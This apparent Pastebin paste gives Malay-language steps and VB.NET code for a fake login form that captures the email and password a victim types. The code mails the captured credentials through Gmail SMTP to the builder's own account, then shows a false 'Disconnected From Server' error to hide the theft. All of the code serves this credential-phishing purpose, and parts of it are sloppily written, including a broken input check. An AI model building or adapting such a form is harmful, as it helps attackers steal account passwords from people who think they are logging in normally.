Guest User

Untitled

a guest
Dec 5th, 2018
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. item yg diperlukan
  2. 2 textbox <----- tuk ltk email ngn password
  3. 2 label <----- tuk tls nma textbox
  4. 1 button
  5.  
  6. Imports System.Net.Mail <----- ni ltk atas skali
  7.  
  8. (ni ltk kt button)
  9. If TextBox1.Text = "" Then
  10. MsgBox("Username Is Missing")
  11. If Textbox2.text = "" Then
  12. Msgbox("Password Is Mising")
  13. Else
  14. End If
  15. End if
  16. Dim smtpServer As New SmtpClient()
  17. Dim mail As New MailMessage()
  18. smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password") 'using gmail
  19. smtpServer.Port = 587
  20. smtpServer.Host = "smtp.gmail.com"
  21. smtpServer.EnableSsl = True
  22. mail = New MailMessage()
  23. mail.From = New MailAddress("Your Gmail")
  24. mail.To.Add("Your Gmail")
  25. mail.Subject = "Username: " & TextBox1.Text
  26. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text smtpServer.Send(mail)
  27. MsgBox("DIsconnected From Server, Please try again later!")
  28.  
  29. p/s: Your Gmail <----- ltk gmail korang
  30. Your Gmail Password <----- password korang
  31.  
  32. siap!!!
Add Comment
Please, Sign In to add comment